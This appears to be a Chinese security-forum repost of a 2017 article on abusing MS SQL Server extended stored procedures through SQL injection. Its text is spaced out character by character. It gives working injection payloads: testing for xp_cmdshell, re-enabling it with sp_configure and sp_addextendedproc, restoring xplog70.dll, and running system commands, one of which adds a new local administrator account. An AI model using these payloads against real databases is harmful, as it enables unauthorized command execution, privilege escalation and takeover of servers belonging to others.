搜索

[20778] 2017-06-11_利用存储过程漏洞

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-18
2017-06-11_利用存储过程漏洞 利 用 存 储 过 程 漏 洞 原 创   l e m o n   L e m o n S e c   2 0 1 7 - 0 6 - 1 1 — — — — — — — — — — — — — — — — – 利 用 存 储 过 程 利 用 存 储 过 程 — — — — — — — — — — — — — — — – 常 用 存 储 过 程 ： 常 用 存 储 过 程 ： x p _ c m d s h e l l — — — 利 用 此 存 储 过 程 可 以 直 接 执 行 系 统 命 令 x p _ r e g r e a d   — — — -   利 用 此 存 储 过 程 可 以 进 行 注 册 表 读 取 x p _ r e g w r i t e — — — - 利 用 此 存 储 过 程 可 以 写 入 注 册 表 x p _ d i r t r e e — — — — 利 用 此 存 储 过 程 可 以 进 行 列 目 录 操 作 x p _ e n u m d s n — — – 利 用 此 存 储 过 程 可 以 进 行 o d b c 连 接 x p _ l o g i n c o n f i g — – 利 用 此 存 储 过 程 可 以 进 行 配 置 服 务 器 安 全 模 式 信 息 检 查 是 否 启 用 ： 检 查 是 否 启 用 ： a n d   1 = ( S e l e c t   c o u n t ( * )   f r o m   m a s t e r . . s y s o b j e c t s   w h e r e   x t y p e = ' X '   a n d   n a m e = ' 存 储 过 程 名 称 ' ) - - — — — — — — — — — — — — — — — – 利 用 利 用 x p _ c m d s h e l l — — — — — — — — — — — — — — — 检 查 是 否 启 用 了 检 查 是 否 启 用 了 x p _ c m d s h e l l ： ： a n d   1 = ( S e l e c t   c o u n t ( * )   f r o m   m a s t e r . . s y s o b j e c t s   w h e r e   x t y p e = ' X '   a n d   n a m e = ' x p _ c m d s h e l l ' ) - - 删 除 删 除 x p _ c m d s h e l l ： ： ; e x e c   s p _ d r o p e x t e n d e d p r o c   ' x p _ c m d s h e l l ' - - 启 用 启 用 x p _ c m d s h e l l （ 要 求 数 据 库 支 持 堆 叠 查 询 ） ： ： ; E X E C   s p _ a d d e x t e n d e d p r o c   x p _ c m d s h e l l   , @ d l l n a m e   = ' x p l o g 7 0 . d l l '   - - ; E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' ,   1 ; R E C O N F I G U R E - -   / / 1 为 开 启 ， 0 为 关 闭 . 如 提 示 ： 拒 绝 了 对 对 象   ‘ s p _ a d d e x t e n d e d p r o c ’   ( 数 据 库   ‘ m s s q l s y s t e m r e s o u r c e ’ ， 架   构   ‘ s y s ’ ) 的   E X E C U T E   权 限 。 或 提 示 “ 用 户 没 有 执 行 此 操 作 的 权 限 。 ” 说 明 权 限 不 够 。 如 果 执 行 不 成 功 ， 那 么 可 能 x p l o g 7 0 . d l l 文 件 被   删 除 了 ， 我 们 可 以 上 传 一 个 x p l o g 7 0 . d l l 文 件 ， 然 后 进 行 恢 复 ， 语 句 如 下 ： ; e x e c   s p _ a d d e x t e n d e d p r o c   ‘ x p _ c m d s h e l l ’ , ’ c : x p l o g 7 0 . d l l ’ 利 用 利 用 x p _ c m d s h e l l 执 行 系 统 命 令 ： 执 行 系 统 命 令 ： ; e x e c   m a s t e r . . x p _ c m d s h e l l   " 系 统 命 令 "   - - 示 例 ： ; e x e c   m a s t e r . . x p _ c m d s h e l l   " d i r   c : "   - -   / / 列 C 盘 目 录   ; e x e c   m a s t e r . . x p _ c m d s h e l l   " n e t   u s e r   帐 号   密 码   / a d d   & & n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   帐 号   / a d d "   - -   / / 添 加 一 个 帐 号 并 加 入 管 理 员 组
x p _ d i r t r e e
查 看 更 多 文 章 ， 关 注 下 方 二 维 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理